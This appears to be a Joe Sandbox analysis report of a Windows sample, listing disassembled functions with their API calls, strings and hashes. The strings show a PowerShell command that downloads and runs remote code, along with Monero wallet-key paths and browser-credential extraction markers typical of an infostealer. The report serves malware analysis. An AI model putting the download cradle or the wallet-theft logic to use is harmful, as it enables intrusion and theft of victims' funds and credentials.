Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 578808601f628b1c893c216f9e6bc8a1d7819de0e18f5c74acd28ebdabca1d0f
Instruction ID: 30c209406315ee86fd2ddd36258d9479b0e8f5d5e80676a1db03264c097f3d1e
Opcode Fuzzy Hash: 578808601f628b1c893c216f9e6bc8a1d7819de0e18f5c74acd28ebdabca1d0f
Instruction Fuzzy Hash: 99712876900209BBDB14FBA4DC89FED7779BB88300F048598F505A7181EA74DB45CF91

Function 00586770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00586774
ExitProcess.KERNEL32 ref: 005867A5
ExitProcess.KERNEL32 ref: 005867AF
ExitProcess.KERNEL32 ref: 005867B9
ExitProcess.KERNEL32 ref: 005867C3
ExitProcess.KERNEL32 ref: 005867CD

Strings

*, xrefs: 0058678C

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: e11e1cd1121dd10151377d4e593b5459077533c3f5f75982fa0a468a7a9d71d7
Instruction ID: bd31d611a59454559de84068504b9b0c61aea533e1b232be992396b2362f9cd0
Opcode Fuzzy Hash: e11e1cd1121dd10151377d4e593b5459077533c3f5f75982fa0a468a7a9d71d7
Instruction Fuzzy Hash: 14F0543090824AFFD344BFE0E909B2C7B70FB04703F044298F60996290DA794B419BDA

Function 005892E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:X,80000000,00000003,00000000,00000003,00000080,00000000,?,00583AEE,?), ref: 005892FC
GetFileSizeEx.KERNEL32(000000FF,:X), ref: 00589319
CloseHandle.KERNEL32(000000FF), ref: 00589327

Strings

:X, xrefs: 00589311, 0058933D, 00589314
:X, xrefs: 005892F8, 005892FB

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :X$:X
API String ID: 1378416451-3818707592
Opcode ID: 8e9f3cd00fc0d576b032527c5bb65bef04a0d3ad99755c312dd72a4de83ffc45
Instruction ID: d9cfdebeba578655a0756432e443809b7fd7f8e4e315f6086dda36a10ea68c51
Opcode Fuzzy Hash: 8e9f3cd00fc0d576b032527c5bb65bef04a0d3ad99755c312dd72a4de83ffc45
Instruction Fuzzy Hash: BAF04F75E44308BBDB10EFB4DC49FAE7BB9FB58710F10CA94BA51A72C0DA7496018B84

Function 0058C84E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

memset.MSVCRT ref: 0058C8BF
___crtGetStringTypeA.LIBCMT ref: 0058C8EC
___crtLCMapStringA.LIBCMT ref: 0058C90C
___crtLCMapStringA.LIBCMT ref: 0058C931

Strings

, xrefs: 0058C896

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Typememset
String ID:
API String ID: 3530896902-3916222277
Opcode ID: 74fa6adde03f4a9ed8f5b14d0bb83e630f08b66d0ff5b7fc9634019253e2843b
Instruction ID: 2dea5dd976b270f413a0a4cd198dd482ffef030a05873703ea7684a860c95656
Opcode Fuzzy Hash: 74fa6adde03f4a9ed8f5b14d0bb83e630f08b66d0ff5b7fc9634019253e2843b
Instruction Fuzzy Hash: 1D41E5B110079C5EDB219B248C85FFB7FF8AB45704F1448E8ED8AA6182E271AA449F70

Function 00582C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Part of subcall function 0058A9B0: lstrlen.KERNEL32(?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 0058A9C5
Part of subcall function 0058A9B0: lstrcpy.KERNEL32(00000000), ref: 0058AA04
Part of subcall function 0058A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0058AA12

Part of subcall function 0058A920: lstrcpy.KERNEL32(00000000,?), ref: 0058A972
Part of subcall function 0058A920: lstrcat.KERNEL32(00000000), ref: 0058A982

Part of subcall function 0058A8A0: lstrcpy.KERNEL32(?,00590E17), ref: 0058A905

ShellExecuteEx.SHELL32(0000003C), ref: 00582D85

Strings

<, xrefs: 00582D39
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00582D04
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00582CC4
')", xrefs: 00582CB3

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 418b8389dd6dc36b02878a6cbcc276c8d923d6989bb8773e1daf879fe739b0e5
Instruction ID: dab31337af5fc7b9add6cfecfeae01868a8b28f608a229f83df5b276a9ac2bca
Opcode Fuzzy Hash: 418b8389dd6dc36b02878a6cbcc276c8d923d6989bb8773e1daf879fe739b0e5
Instruction Fuzzy Hash: DF41D071D102099AEF14FBA0C895BEDBF78BF50300F40455AF816B6191DF786A4ACFA1

Function 00579E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00579F41

Part of subcall function 0058A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0058A7E6

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Strings

v10, xrefs: 00579EA3
@, xrefs: 00579EF1
ERROR_RUN_EXTRACTOR, xrefs: 00579E67
v20, xrefs: 00579E21

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 6c301d9806846b09a979d6ac8c920e92a259521c4a2fd73861bf45db49a2844c
Instruction ID: a8f8788ddfeb2ce6f5804b4fb912193464e193ffd95c98c3bd2928c2ed2110eb
Opcode Fuzzy Hash: 6c301d9806846b09a979d6ac8c920e92a259521c4a2fd73861bf45db49a2844c
Instruction Fuzzy Hash: 4D611171A10249AFDF18EFA4DC99FED7B75BF84300F008518F909AB191EB746A05DB92

Function 00589260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0130E280,?,?,?,0058140C,?,0130E280,00000000), ref: 0058926C
lstrcpyn.KERNEL32(007BAB88,0130E280,0130E280,?,0058140C,?,0130E280), ref: 00589290
lstrlen.KERNEL32(?,?,0058140C,?,0130E280), ref: 005892A7
wsprintfA.USER32 ref: 005892C7

Strings

%s%s, xrefs: 005892B5

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 08f2e87a3dbc5cf6aa9562c4ff04546380cb2346930c3b4dcc17f34e3eb397be
Instruction ID: 1dcdde3cb2e47b6dce73a0d41670f686bc1e722510186052bad37a15007f371f
Opcode Fuzzy Hash: 08f2e87a3dbc5cf6aa9562c4ff04546380cb2346930c3b4dcc17f34e3eb397be
Instruction Fuzzy Hash: BE01DEB5500108FFCB04EFECC998EAE7BB9FB44354F148658F9199B244C635AA40DB95

Function 00586630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00586663

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Part of subcall function 0058A9B0: lstrlen.KERNEL32(?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 0058A9C5
Part of subcall function 0058A9B0: lstrcpy.KERNEL32(00000000), ref: 0058AA04
Part of subcall function 0058A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0058AA12

Part of subcall function 0058A8A0: lstrcpy.KERNEL32(?,00590E17), ref: 0058A905

ShellExecuteEx.SHELL32(0000003C), ref: 00586726
ExitProcess.KERNEL32 ref: 00586755

Strings

<, xrefs: 005866D9

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 6e4f61bf57d396612061bf665eedeac6a9e316121067a8e9bd4f38e39988d6e9
Instruction ID: 7c7acde54ea770ab34bd4881b80f437bd57d2c4e4209b9c57b8e6d8bd7d9b0d6
Opcode Fuzzy Hash: 6e4f61bf57d396612061bf665eedeac6a9e316121067a8e9bd4f38e39988d6e9
Instruction Fuzzy Hash: EE313CB1801218AAEB14FB50DC95FDD7B78BF84300F804189F61576191DF786B49CF6A

Function 005887C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00590E28,00000000,?), ref: 0058882F
RtlAllocateHeap.NTDLL(00000000), ref: 00588836
wsprintfA.USER32 ref: 00588850

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Strings

%dx%d, xrefs: 00588847

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

